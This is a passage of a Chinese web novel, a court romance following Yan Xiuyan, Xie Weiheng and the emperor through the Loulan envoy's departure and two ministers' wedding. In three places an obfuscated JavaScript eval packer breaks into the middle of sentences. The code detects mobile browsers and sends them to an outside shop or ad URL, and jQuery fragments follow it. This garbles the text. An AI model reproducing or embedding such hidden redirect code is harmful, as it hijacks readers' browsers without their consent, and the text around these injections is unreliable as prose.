燕修延盯着他清雅温润的脸庞,故作咬牙:“我严重怀疑你这是在耍赖。” 谢伟恒坦然应下,毫无半分遮掩,笑意更深:“嗯,我就是在耍赖。” 这般坦荡模样让燕修延半点意外都无,他轻叹一声,斜睨着眼前人:“说起耍赖这门本事,谢书令早已炉火纯青无人能及了。” 谢伟恒抬手轻轻牵住燕修延的手,温热的指尖贴合肌肤,他微微俯身,气息轻拂在燕修延耳畔:“是燕大人教导有方,学生才学有所成。” 燕修延偏头避开谢伟恒的气息,白了他一眼:“教得不好,教出个肆意妄为的逆徒。” “此言差矣。” 谢伟恒手臂微收揽住燕修延的腰,将人牢牢扣在怀中:“话本之中,徒弟向来最擅长以下犯上,难道燕大人从未读过?” 燕修延翻了个白眼。 真不愧是饱读诗书的读书人,平日里看着清雅端正,私下看的话本倒是五花八门。 他抬手抵在谢伟恒的胸口,轻轻推着想要挣脱禁锢:“懒得理你,我去看看外面的碳烤圆人。” 谢伟恒非但没有松手,反而握住燕修延的手,指尖摩挲着他的手腕,眉眼弯弯,笑意温柔:“这般无情?燕大人不理我可要让我伤心了。” 燕修延抬眸瞥他,只觉好笑。 ……谁家好人心生难过,会这般满眼笑意、眉眼温柔? 他微微瘪了瘪嘴,不再推拒,微微仰头,飞快在谢伟恒的唇上印下一个轻柔短促的吻,转瞬便退开。 “好了好了,不闹了。” 燕修延压低声音:“赶紧收敛些,得亏这里没别人,不然明天人家的茶余饭后说的又是我们二人。” 在鄯云帛月跟前伺候的就两名宫人,刚才跟她一起出去了,殿外伺候的宫人不知道他和谢伟恒在里面。 这时,门外传来了细碎的脚步声,紧接着殿门被轻轻推开,两名负责打扫的宫人端着水盆、扫帚走进来,准备收拾殿内杂物。 燕修延拉着谢伟恒身形一闪,顺着敞开的窗棂纵身跃出去,溜了。 宫人目光落在桌上那座高高堆起、密密麻麻的瓜子壳小山,不禁有些纳闷。 难不成尊贵的鄯云帛月公主突然学会嗑瓜子了?还嗑出了这般大一堆壳? 御书房外。 苏公公躬身从殿内走出,对着等候的鄯云帛月躬身通传,只宣她一人入内觐见,国师依旧被拦在殿外继续顶着烈日等候。 他余光悄然扫过四周,敏锐地捕捉到周遭宫人隐晦的目光。 那些视线看似恭敬守礼,细细品读却藏着几分不易察觉的轻蔑与不屑,落在鄯云帛月身上带着淡淡的鄙夷。 不远处两名值守的小宫人立在廊柱侧,自以为声音极低,悄悄咬耳闲谈,字句清晰地落入了国师耳中。 “说到底不过是沾了水昷侍卫的光,仗着对方当年舍身救下陛下性命的情分,隔三差五便来御书房讨要赏赐、攀附圣恩,今日不知又要借着什么由头纠缠陛下……” “慎言!宫里禁言,岂能随意非议贵客与朝堂旧事!” 一旁年长的宫人抬手敲了敲年少宫人的脑袋,厉声制止。 年少宫人吐了吐舌头,低头噤声不再多说一字。 国师心中有了思量。 怪不得呢,他听说鄯云帛月频频得到大虞皇帝的丰厚赏赐时心中便有些疑惑。 原来是因为她未来夫婿这份特殊优待。 御书房内,静谧肃穆,墨香与书卷气息萦绕周身。 虞睿祥端坐在龙案之后,手持朱笔批阅奏折,神色淡漠沉静。 他与鄯云帛月本就无过多话可谈,客套寒暄都觉多余,索性目光淡淡落向另一侧敞开的窗牖,目光悠远,看似无心观景。 果不其然,两道轻盈利落的身影顺着窗沿翻跃而入,稳稳落在殿内空地,动作娴熟,毫无拘谨。 虞睿祥放下手中朱笔,抬眸看向二人:“伟恒,你端方守礼如今倒是跟着修延学坏了,没一点样子。” 燕修延不乐意了,抬手指着自己,眉眼带着几分不服气:“什么叫跟我学的没样子?陛下你是没见过他真没样子的样子,那才叫离谱!” “没样子的样子?是何模样?” 鄯云帛月听得一头雾水,她普通的交流没什么问题,说起绕口令她就不太能理解了。 燕修延随口敷衍,笑得促狭:“还能是什么样?就温瑞那样。” 鄯云帛月:“啊,你那么惨的嘛?实在看不出来,这般清雅温润的人物私底下竟也是个榆木棒槌。” 燕修延没再接话,满心好奇凑到殿门旁,轻轻拨开一丝门缝。 下一瞬,他连忙抬手虚虚遮在眼前,压低声音发出一声惊叹:“嚯!” 门外烈日斜斜洒落,金色阳光笔直倾泻而下,尽数落在静静等候的国师头顶,锃亮。 “谢书令,谢书令我的眼睛要被晃瞎了,彻底看不见东西了!” 谢伟恒无奈失笑,快步上前将人扶住,抬手温柔护住他的眉眼,嗓音温润宠溺:“快来这边坐,我替你好好看看,可别真晃伤了眼。” 鄯云帛月看着毫无正形的两人,扭头看向虞睿祥。 这两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646344|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是大虞的官员嘛?大虞人才济济难不成无人可用了才让这两位性子跳脱、嬉笑无度的人身居高位、执掌权柄? 她深刻反省当初一眼就看中燕修延的自己。 明明觉得他风姿卓绝、聪慧灵动,是难得的绝世人物,怎的如今细看,这般不靠谱? 真的是眼瞎了。 虞睿祥板着一张帝王冷脸,神色看似威严不改,可若是细细观察便能发现他的唇角正在微微不受控制地抽搐,显然是极力隐忍笑意。 国师耐着性子等候许久,漫长暴晒过后,终于听见殿内传来轻微的脚步声,知晓鄯云帛月即将出来。 他下意识凑近殿门,想要透过门缝窥探一二,打探内里情形。 可指尖刚靠近门扇,眼前的门便被人从内里轻轻合上,严丝合缝,半点缝隙不留,彻底隔绝了他的视线,不给他丝毫窥探的机会。 国师待鄯云帛月走出,立刻上前低声询问:“公主,陛下之意如何?求情之事可否稳妥?” 鄯云帛月刚踏出殿门,便清晰闻到他身上扑面而来的浓重汗味,湿热黏腻直冲鼻腔。 她下意识单手握鼻,微微后退半步,眉眼间带着几分难以掩饰的嫌弃。 “国师,你还是先回住处换一身衣裳吧。满身浓重汗味实在冲人得很,幸好刚才未曾让你入殿面圣,免得冲撞了圣驾。” 国师身形一僵,脸上期待的神色凝固,变得难看至极。 烈日暴晒的燥热与疲惫涌上心头,再被这般直白嫌弃,心底烦闷郁结却又无从发作。 他强压下心底的不悦,勉强挤出一抹客套的笑容:“公主见谅,汗湿衣衫实属无奈。不知陛下究竟是如何答复?” 鄯云帛月笑容明媚:“你猜猜呢?” 紧接着,她骤然收去眼底的闲适,明媚的笑意褪去,面色一沉,语气带着几分清冷的疏离:“国师,你身上的味道着实熏到我了。” 字字直白,毫不留情。 国师牙关紧咬,死死压住心底翻涌的不耐与憋屈,维持着表面的体面与克制。 “是我失仪,我知错,这便即刻回去沐浴更衣整理仪容。” 说罢,他不再多言,转身拂袖,步履极快地转身离去,背影带着几分隐忍的仓促。 鄯云帛月看着他离去的背影,淡淡抬眸,也转身朝着自己的寝宫方向走去。 燕修延在门后将这一来一回的对话、拉扯的气氛尽数听在耳中。 看来往后温瑞怕是要被拿捏得死死的——也不一定,因为他是榆木疙瘩。 “陛下。” 燕修延转身看向龙案后的虞睿祥,当即摆出一副告状的委屈模样,语气控诉:“你可得管管你的臣子!谢书令和我打赌输了百般耍赖,肆意违约,实在不讲道理!” 虞睿祥头也未抬,依旧低头批阅堆积如山的奏折,眼皮都懒得掀开一下,语气淡淡悠悠:“自己家的媳妇自然该自己管教,朕可懒得掺和你们的私房家事。” 燕修延一愣随即深以为然,点头附和:“陛下所言极是,确实是这个道理。” 他立刻话锋一转,收敛嬉闹神色,切入正事,语气带着几分故作无奈的轻叹:“楼兰的信还在路途之中,等他们把许诺的马匹送来不知还要多久。” 虞睿祥闻言终于抬眸看向他,神色淡然:“那封书信如今到了何处?” “送信的人半路染了腹泻小病,在城郊医馆耽搁了好几日,今日才刚出京郊,距离目的地尚且遥远。” 不过是寻常腹泻小疾,一直拖着治不好就太假了,反倒引人疑心。 况且这只是开端,往后路途之中还会有各式无伤大雅的小毛病接踵而至,等着他呢。 虞睿祥神色愈发平静,淡淡开口:“如此,便无需忧心,静待即可。” 说罢,见燕修延依旧立在原地,半点没有告退离开的意思,眼巴巴望着自己,一副有所期盼的模样。 虞睿祥无奈至极,唇角再次微微抽搐,终究是松了口:“罢了,待朕批完手头这些奏折,便带你二人去私库逛逛,任由挑选。” ————————————— 注: 水昷侍卫:温侍卫,温瑞 187. 皇帝给你当? 国师自皇宫折返驿馆时,周身气氛沉得如同覆了层寒霜。 踏入驿馆,他一言不发径直步入内室,屏退左右侍从,滚烫的热水注满浴桶,氤氲白汽袅袅升腾,朦胧了精致的雕花窗棂却半点驱散不了他眼底的沉色。 洗了个澡,换上一身干净素雅的常衣,没有半分休憩的懈怠,更衣完毕便即刻整理衣冠,已然做好了二次入宫的准备。 门外宫人躬身递进一封封口严密的信笺。 信纸轻薄,其上笔墨婉转曲折,通篇皆是晦涩难懂的楼国专属文字,正是鄯云帛月亲笔所书。 在驿馆等候的人看国师归来时面色沉冷如冰,众人心里早已凉了半截,此次楼兰之行怕是要无功而返。 可待众人围上前,细细辨完信中内容,紧绷的神色一扫而空,眉眼间尽数染上真切的喜色,压抑多日的心头大石轰然落地。 鄯云帛月的信中言辞直白明晰,告知众人大虞皇帝已然应允延续此前两国的口头约定。 准许国师和阿赫连漠先行脱身、归国返疆,但同时定下严苛附加条件:待到楼兰下次输送战马入大虞之时,必须将国师、阿赫连漠二人一并交出,交由大虞全权处置,不容推诿。 信末,鄯云帛月还带着几分无奈的嗔劝,叮嘱一行人速速动身离开大虞京城,莫要在此久留,免得随行之人顽性不改再生是非祸端。 众人逐字读完信件,欣喜之余,目光不约而同、齐刷刷地转向内室软榻之上。 都成这副模样了,总该闯不出什么祸了吧? 榻上的阿赫连漠察觉到周遭齐刷刷的视线,狭长的眼眸骤然抬眸,眼底翻涌着沉沉阴鸷:“看着我做什么?” 众人收回目光,彼此对视一眼,不好说, 还是速速收拾行装、遵从吩咐启程归国吧。 楼兰使团迅速行动起来,收拾行囊、清点物件,动作利落井然。 一切就绪后,众人依礼入宫叩拜辞行,随后浩浩荡荡驶出京城,踏上归国路途。 虞睿祥他一点也不担心他们一去不回,反而藏着一丝胸有成竹的淡然算计。 哪怕楼兰国王心存不舍,吝惜剩余战马,刻意违约不肯补齐马匹,大虞也凭空收下了一千匹精良战马,足足赚得巨额利好。 因为许诺用以交换的雷火炮,至今分毫未付、分文未出,从头到尾都是一场空手套白狼的博弈。 楼兰众人全然被蒙在鼓里,一无所知。 早在他们动身离京之前,有人已然快马加鞭先行一步奔赴楼兰。 目的是散播车师国已与大虞达成永久通商盟约,两国互通贸易、日进斗金,积攒的巨额钱财尽数用于操练兵马、扩充军力,不出时日便会举兵进攻楼兰。 信不信随他们,反正先散布着。 人心惶惶之下,自会生出无穷变数,所谓谋事在人,便是如此。 京城巍峨城墙之上,清风猎猎,吹动几人衣袍翻飞舒展。 燕修延、谢伟恒伴在虞睿祥身侧,静静望着远方地平线处,楼兰使团的身影渐渐缩小、直至模糊。 “陛下。” 燕修延轻启薄唇,准备开口。 虞睿祥头也未转,语气带着几分无奈又凛冽的冷酷:“闭嘴,滚蛋。” 燕修延一愣,眨巴着一双清亮的眼眸,满脸无辜委屈:“陛下你好粗俗。” 虞睿祥心中腹诽:总有人三天两头、明目张胆从你私库里源源不断挪走好物,你也会变得粗俗。 “你筹谋布局,事事周全、功不可没,做得确实极好,但是——” 虞睿祥转过身,神色稍缓,先坦然肯定他的功绩,可话音一转:“但你胃口也太大了,办一件差事便要一桩赏赐,出一条计策便求一件珍宝,修延你如今是越发没规矩了。” 燕修延演技全开,眉头一蹙,眼底凝起水汽,凄凄切切地低啜一声,侧身倚靠在谢伟恒的肩头,嗓音带着哽咽的委屈:“陛下从前明明说过,我在他跟前无需拘礼、不用守规矩,呜呜呜,果然君心善变、郎心似铁啊!” 谢伟恒垂眸看着肩头耍赖的人,眼底漾开温柔笑意,抬手轻轻顺着燕修延的后背,低声温声安抚:“无妨,若是当真受了委屈你便辞官归府,我养你。” 虞睿祥嘴角不受控制狠狠一抽,满心无语,就燕修延薅走的珍宝好物何其贵重,随便取出一件变卖,都足以让他锦衣玉食、富贵无忧过完一生,哪里还需要你养? “我又没罚你,难道多说你两句、提点你一番都不成?” 燕修延听他语气松动、换了自称,愈发得寸进尺,依旧抽抽搭搭、故作委屈:“哥是九五之尊,想说自然便能说,我不敢置喙。” 虞睿祥明白,这就是不服气喽。 “你摸摸自己的良心问问,如今国库充盈,朝廷大幅增补军费开支,边关粮草军械充足,你也无需自掏腰包补贴边关,要那么多奇珍异宝、稀罕物件做什么?” 燕修延直起身子,褪去委屈神色,眉眼清亮,理直气壮、坦荡坦然:“放着好看,赏心悦目啊!” 虞睿祥一时语塞,哭笑不得反问:“……谢家的奇珍异宝还不够你赏玩?” “世人谁会嫌珍宝好物太多?” 燕修延微微扬眉,灵动狡黠,坦然辩驳:“哥你的私库不也年年增补新宝、从未停歇?” 这话直接将虞睿祥问得微愠,眉眼一凛,眉毛骤然竖起,故作威严沉声:“那这皇位你来坐?” 站在一旁的苏公公心中一紧,连忙垂首屏息。 他深知陛下与燕大人兄弟情深、素来亲厚,日常拌嘴打趣乃是常态,可这话终究是大逆不道,纵然是玩笑,听在耳中也依旧惊心动魄,让他忍不住心惊胆战。 燕修延撇撇嘴,连连摆手推脱:“不当不当!当皇帝不光日日批奏折、操劳国事,还要广纳后宫、绵延子嗣。真要是让我坐这个位置,谢伟恒的醋意怕是能把我淹得喘不过气来。” 谢伟恒一直静静站着,手臂始终虚虚护在燕修延身后,姿态妥帖温柔从未远离。 听见燕修延这话,漆黑的眼眸中悄然掠过一抹细碎而深沉的暗芒,唇角的笑意更浓了几分。 虞睿祥被燕修延这直白坦荡、毫无顾忌的模样逗得又好气又好笑,摇头轻叹:“你这张伶牙俐齿的嘴,也就我能纵容。换作旁的帝王,依你这肆无忌惮的性子,早按律打你板子了。” 燕修延一脸莫名:“哪儿来别的皇帝,别的我也不辅佐他啊,假使晋王对我刻意示好、妄图拉拢,我直接一巴掌将人扇到天边去!” “哈哈哈哈!” 虞睿祥朗声大笑起来,登上帝位以来,他身居九重、高处不胜寒,耳边多是阿谀奉承、虚与委蛇的客套话,这般纯粹赤诚、无所顾忌的真心话,早已寥寥无几。 也就只有燕修延还敢在他面前肆意随性、直言真心。 时间在燕修延的腰酸和不酸之间,一天天过着。 转眼之间便到了礼部尚书和吏部尚书大婚的大喜之日。 吉日良辰,满城喜庆,街巷之间处处透着红火热闹。 燕修延眉眼弯弯,嘴角噙着一抹促狭的坏笑,亲手提着一只雕花木制精致礼盒,一身利落锦袍,领着监察司众人浩浩荡荡奔赴礼部尚书家的门。 带着吏部尚书一路畅通无阻、顺遂入内。 礼部尚书呆呆的看着自家兄长被燕修延轻轻松松挡开,推到人群后面。 这气场张扬的阵仗,哪里有半分温柔接亲的模样,反倒像是一众人上门打劫抄家的。 “这是贺礼。” 燕修延神色坦然,当着礼部尚书的面抬手将手中精致木盒稳稳递到吏部尚书手里:“小小贺礼,聊表心意。祝你们二位白首偕老,岁岁相依,夫夫恩爱,长久相伴。” “燕大人这般郑重,不知盒中是何等珍贵贺礼?” 礼部尚书有些好奇,眼底盛满疑惑,忍不住想上前拆开看看。 吏部尚书轻轻晃了晃手中木盒,再抬眼看燕修延眼底那抹意味深长的促狭笑意,心中了然,这贺礼定然别致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646345|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私密,万万不宜当众展露。 “吉时将至莫误了良辰,这贺礼精巧别致待入夜歇息,我们二人再细细观赏便好。” 礼部尚书很快就被转移了注意力,点点头,不再追问:“好吧,咱们走吧。” 礼部尚书的兄长还在人群后面,想往人群前方挤,多叮嘱弟弟几句,可只能眼睁睁看着自家单纯的弟弟被吏部尚书温柔俯身背起,大步流星踏出门。 随同前来接亲的,还有吏部尚书的大哥,他见状连忙上前宽慰神色紧绷的宁家大哥:“宁兄尽管放心,我弟弟性子稳重赤诚,定会倾尽所有好生对待令弟,护他一世安稳无忧。” 作为全家最不看好这门亲事的宁大哥心中依旧难以释怀,他知晓漠大人与自家小弟交好、情谊深厚,可两个男子相伴度日,无世俗依托、无子嗣承……额,虽说有生子药,那往后岁月漫漫也不知该如何相守度日。 而且他小弟年岁还那么小,居然就要成亲了!还是嫁人个! “宁兄,你我两家既已结为姻亲便是至亲之好,往后自当多往来、多亲近,若是心中挂念、放心不下可随时登门探望令弟,漠家的大门永远为你、为宁家人敞开。” 这番恳切宽慰的话语,总算稍稍抚平了宁家大哥心中的焦灼与不安。 府门外红毯铺地,喜乐声声。 礼部尚书一身大红锦缎喜服,身姿俊秀挺拔,稳稳坐在马背上。 他回头看向吏部尚书,疑惑轻声发问:“我马术娴熟,今日大婚为何要与你共乘一马?” 吏部尚书稳稳握着马缰,指尖修长好看,眉眼含着温柔笑意,轻声解释:“原本备好两匹毛色、身形全然一致的纯色骏马,专供你我二人乘骑。谁知临出发前夕另一匹马莫名闹起了性子,任凭下人如何安抚牵引都死活不肯出马厩。大婚吉日,不敢耽误良辰,只好委屈予之与我同乘一骑了。” (马内心os:我天,啥东西砸我!!!这年头黑锅都从天上来了?你和隔壁的谢书令一样有私心!!!!) “委屈倒没有啦。” 礼部尚书抬手轻轻抚摸着身下骏马柔顺的脖颈:“只是辛苦这匹马了,我们二人重量相加,怕是要累着它了。” 吏部尚书低笑出声,嗓音温润缱绻:“无妨,我早已让人给它备好最上等的精饲料与甘草,好好犒劳一番。” 二人皆是一身绯红喜服,衣袂锦绣、纹样繁复,红裳灼灼、惊艳夺目。 夫夫二人并肩共乘一匹骏马,身姿相贴,亲密无间。 身后绵延无尽的送嫁队伍仪仗规整、红绸漫天、喜乐悠扬,满目皆是喜庆的婚典气象。 燕修延指尖轻轻摩挲着下巴,目光悠悠望着前方温情脉脉的二人,随即偏头看向身侧的谢伟恒。 果不其然,他精准捕捉到谢伟恒眼底一闪而过的淡淡遗憾。 “怎么?后悔咱们大婚之时没找借口说只剩一匹骏马,与我同乘一骑了?” 谢伟恒先是轻轻颔首,坦诚心中些许遗憾,随即又缓缓摇头,目光灼灼凝望着身侧的人:“以你的本事顷刻之间便能调来骏马,根本寻不得这般借口。” “那是。” 燕修延微微扬眉,眉眼张扬灵动,带着十足的自信。 他可没有宁大人那般单纯好骗,区区一匹骏马,于他而言,不过是喝口茶的功夫便能调配到位。 “走吧,我们先行一步去漠府等候,不必慢悠悠跟在队伍后方凑热闹。” 二人身姿迅捷,率先离去,提前抵达漠府婚宴现场。 待一对新人伴着喜乐、缓缓抵达漠府之时,燕修延早已悠然落座,桌上珍馐佳肴、佳酿清茶一应俱全,他吃得尽兴、喝得欢愉,好不惬意。 “燕大人你跑的真快,比我们新人到得还早!” 礼部尚书笑着快步上前,毫无半分新人矜持,随手抓起桌上一块精致糕点塞进嘴里。 吏部尚书目光始终落在礼部尚书身上,细致入微,抬手倒了一盏清茶备着,时刻防备他吃得太急、不慎噎住。 188. 宁、漠大婚·洞房 燕修延看在今天他们成亲的份上,看着埋头干点心的礼部尚书,厚道的没有上前争抢。 他指尖轻轻一推精致白瓷碟,将满盘软糯糕点推到礼部尚书面前,眉眼带笑,语气闲适温和:“慢点吃,没人跟你抢,今日你大喜,管够。” 漠家长辈端坐主位,将这一幕尽收眼底,默契给仆役递了个眼色。 旁侧的仆役上前,络绎不绝地端来几盘新式精致茶点、洗净沥干的四时鲜果,又持着玉壶,将席间的热茶一一续满,礼数周全。 “少夫人,各位大人,请慢用。” 一声“少夫人”落地,周遭几席宾客皆是会心一笑,氛围愈发热闹。 燕修延撑着下颌,眼底满是促狭戏谑,拉长语调轻轻揶揄:“少夫人啊~” 尾音缱绻玩味,听得正大口吃着桂花酥的礼部尚书动作一顿。 他满嘴清甜糕点,腮帮子鼓鼓囊囊的,眼底满是懵懂疑惑,含糊着出声追问:“谢家上下平日里也是这么叫你的嘛?我听着总觉得怪怪的,实在不习惯。” 燕修延收了笑意,唇畔弧度浅浅敛去,垂眸抿了口清茶,缄默不语。 礼部尚书心性单纯直白,全然没察觉其中的微妙,见他不说话愈发好奇,往前凑了凑身子,锲而不舍追问:“燕大人怎么不说话了?难道我问错什么了?” 燕修延抬眼,眸底重新漾开狡黠笑意,淡淡开口:“我在琢磨今晚该如何闹洞房。” “闹洞房?!” 礼部尚书瞪圆了一双清澈眼眸,停下吃食,满脸不可置信:“不行!你们怎么能闹我们的洞房?当初我和漠大人观礼你们大婚,可是半点都没闹你!” 燕修延语气凉悠悠的,带着几分拆台,字字清晰:“你怕是记糊涂了,你和傅大人喝得酩酊大醉,两人歪歪扭扭趴作一团,全忘干净了?” “啊?是吗?不记得了。” 礼部尚书懵懵懂懂抬手拍了拍脑门,努力回想场景,脑中一片空白。 他转眼看向身侧的吏部尚书,一脸认真地嘱咐:“漠大人!多安排些能喝的人去陪燕大人酒,务必把他灌得醉倒收场!” 燕修延挑眉轻笑,侧头望向身侧始终静默相伴的谢伟恒,语气带着几分告状似的调侃:“宁大人这是全然把你当成空气啦。” 谢伟恒端坐席间,身姿挺拔清隽,一袭常服素雅端正,唇角始终噙着一抹浅淡温柔的笑意。 他在外饮酒向来恪守分寸、点到即止,从不多饮半分,外人皆以为他酒量平平,唯有家中人清楚。 不等谢伟恒开口,礼部尚书抬起头,眼底带着几分一本正经的谴责,直直看向燕修延:“燕大人这就是你不对了!男子汉大丈夫,应酬喝酒本就是分内事,怎能事事都让谢大人替你挡酒?半点担当都没有!我就不会让漠大人替我挡酒,做人做事最讲究一身担当!” 燕修延微微一怔,缓缓眨了下眼睛。 挡酒而已,怎么扯到男儿担当——哦,懂了。 等下次早朝时,他再好好同这位单纯的礼部尚书,细细论一论何为真正的男人担当。 “说起来,我记得你与漠大人的酒量都差不多,半斤对八两。” 这话激起了礼部尚书的好胜心,他撸起宽大的大红喜服袖口,眉眼昂扬,气势十足:“那今天我就让你好好见识见识我的厉害!” “逸风,吉时快到啦,该行正礼了。” 温润低沉的嗓音响起,吏部尚书含笑抬手轻轻按住他的手腕,细致地替他将挽起的袖口缓缓抚平,动作温柔又妥帖。 礼部尚书愣愣抬头,才反应过来“逸风”二字是在叫自己。 他挠挠后脑勺,脸颊微微发烫:“你突然这么叫我,我还真不太习惯。” “往后日日唤你,朝夕不离,久而久之自然就习惯了。”漠云舒眸底盛满温柔缱绻。 燕修延看得有趣,抬手打了个清脆响指,监察司众人齐齐围拢过来。 “待会儿他们拜堂礼成、宴席开席,你们都来我这桌落座,宴席热闹,若是有人轮番上来灌酒都给我机灵点,懂分寸、知眼色。” 燕修延对自己的酒量有数,算不上海量却也远超常人,只是堪堪处于中上水准。 他也不愿让谢伟恒多饮——一来是担心烈酒伤身,熬得他肠胃不适;二来更是藏着私心,谢伟恒若是喝得微醺又没到烂醉的程度,夜里回去定然要借着酒劲肆意撒娇胡闹,折腾得人不得安宁。 温泽拍着胸口,底气十足地应声:“头儿放心!包在我身上!不管多少酒我全都能抢过来替你喝干净!” 白天铎淡淡摇头:“我酒量浅,扛不住,交给肖泽最稳妥。” 肖泽眉眼沉静:“一切有我,定护头儿周全。” 开玩笑,有他们坐镇在此,监察司的头儿还能叫人灌了酒去不成? 事实上,燕修延终究是多虑了。 新人敬酒向来是宴席重头戏,可礼部尚书与吏部尚书二人本就不胜酒力,一路挨桌敬酒,不过走了寥寥几席,脸颊就染上浓重绯红,脚步虚浮飘忽,浑身都透着醉意。 旁侧机灵的管事见新人撑不住,连忙悄无声息上前将二人杯中烈酒尽数换成白水。 喝得晕头转向的礼部尚书偏偏极为敏感,刚入口便察觉不对,皱起眉头:“不对……这味道不对!不是酒!你们别想糊弄我!我还没灌醉燕大人,今日一定要喝个痛快!” 燕修延看得好笑,拎起自己桌前满满的酒壶,起身走到他面前,给他斟满一杯醇厚的酒。 礼部尚书眼神一亮,毫不犹豫端起酒杯,仰头一饮而尽。 辛辣烈酒入喉,灼烧五脏六腑,他却浑然不惧,举着空杯含糊大喊:“再来!今日定要让你知道我的厉害……” 话音尚未落地,双腿一软,身形不受控制地顺着身侧桌椅往下滑。 下一瞬,一只温热有力的手臂揽住他的腰,稳稳将人牢牢扣在怀中。 吏部尚书脸色亦是绯红一片,酒意上头,身形微微晃动,显然也早已醉得不轻,可他却凭着最后几分清醒与本能,稳稳接住了险些瘫倒在地的心上人,半分未曾让他磕碰受伤。 周遭宾客见状,纷纷笑着起哄:“新人已然醉透了!快送入洞房,让新人歇息圆房!” 满堂哄笑四起,喜庆氛围推至顶峰。 燕修延眼底盛满坏笑,提着手中酒壶,脚步轻快,打算跟着众人凑上去,好好闹一场洞房。 吏部尚书趁着众人喧闹杂乱,飞快抬眼朝着谢伟恒递去一个隐晦眼色,悄悄腾出一只手,对着他比出了一个“一”的手势。 动作极轻,转瞬即逝,唯有二人看清。 谢伟恒眸底笑意加深,长臂一伸稳稳搂住燕修延的腰,温热气息贴近他耳畔,压低嗓音,用只有两人能听见的音量低声呢喃:“漠大人托我传话,若是今晚我们不闹洞房,他日找机会奉上黄金一百两作为酬谢。” 一百两黄金? 说好的春宵一刻值千金呢? 实打实的百两黄金也行,不闹便不闹,稳赚不亏,他不挑~ 燕修延收敛了眼底的促狭,反手轻轻拍了拍谢伟恒的手背,利落改口:“行,那咱们不凑热闹了,回去接着喝酒吃席。” 反正瞧礼部尚书这烂醉如泥的模样,今晚这洞房能不能圆成尚且难说。 喧嚣满堂的前院渐渐远去,静谧的洞房内红烛摇曳,暖光融融,满室皆是喜庆的胭脂香气。 吏部尚书放轻所有动作,小心翼翼将怀中醉软的人轻轻安置在床榻上,生怕稍重一点的力道惊扰了他。 他刚准备起身,衣摆却被一只温热的手牢牢拽住。 垂首低头,正好对上心上人一双氤氲水光、亮晶晶的眼眸。 “漠大人!我是不是特别聪明!” 礼部尚书大着舌头,说话含糊黏软,语气却满是邀功的骄傲:“我一看见燕大人那一桌人围在一起,就知道他们来者不善、憋着坏心思!我多聪明了啊!” 吏部尚书心头一软,眼底盛满宠溺笑意,任由他拽着衣摆,温声应和:“是,我们逸风最聪明啦。” 语罢,他转身端过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646346|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案上备好的两杯合卺酒:“饮了合卺酒,往后的称呼是不是也该换一换了?” 礼部尚书乖乖抬手,接过精致的琉璃酒杯。 两人喝完交杯酒,辛辣余味尚未散尽,礼部尚书睁着懵懂的双眼,试探着轻声唤道:“漠哥哥~” “咳!” 猝不及防的称呼,让素来沉稳从容的吏部尚书险些被口中残留的酒气呛到,身形微顿,耳尖悄然泛红。 “怎么这么不小心呀。” 礼部尚书醉眼朦胧地撑起身子,一只手轻轻落在吏部尚书的腿上,慢悠悠替他顺着气:“慢点喝,没人跟你抢的,漠哥哥。” 另一只温热的手贴在腿上,触感清晰温热,带着几分懵懂的亲昵。 吏部尚书垂眸望着他天真烂漫的模样,哭笑不得,温声开口:“唤我的名字可好?我家中有位堂弟,名唤漠歌阁,这般称呼容易混淆。” “哦……这样啊。” 礼部尚书歪着脑袋,醉意沉沉地努力思索,半晌才终于理清思绪,记起他完整的名讳:“好的!漠大人——不是,漠子书,你的字真好听,我叫你子书吧” “逸风,青天为鉴,双亲同证,红烛为媒,从今日起,你我结为夫夫,岁岁相守,朝夕不离。” 吏部尚书单膝跪在床边,微微俯身,仰头吻上礼部尚书柔软的唇瓣。 礼部尚书忽然轻轻张口,极轻地咬了一下他的下唇:“不对不对!成亲之后你该叫我弟弟,或者叫我夫君也可以的!” 吏部尚书低笑出声,温柔妥协:“好,都听你的,逸风弟弟。” 得了应允,礼部尚书反倒忽然羞涩起来,耳尖泛红,慌忙挠了挠耳朵,抬手掀开柔软的锦被,拍了拍身侧的床位:“折腾一天太累了,快来睡觉吧,哥……不对,子书。” 吏部尚书含笑起身,抬手褪去身上繁复的喜服外袍,俯身抬手,指尖轻柔细致,一点点替床上的人解开层层衣扣,动作温柔至极。 “我来替逸风弟弟更衣。” 吏部尚书乖乖仰头配合,任由他动作,忽然脑海中灵光一闪,想起了悬念许久的贺礼,来了精神,眨巴着眼眸:“对了!燕大人今日送的贺礼,现在终于可以打开看看了吧?若是他送的礼物太过单薄敷衍,我明日定然要去找他再讨一份!” “现在看么?夜深了,今日大喜劳累,不如明日再细细翻看。” 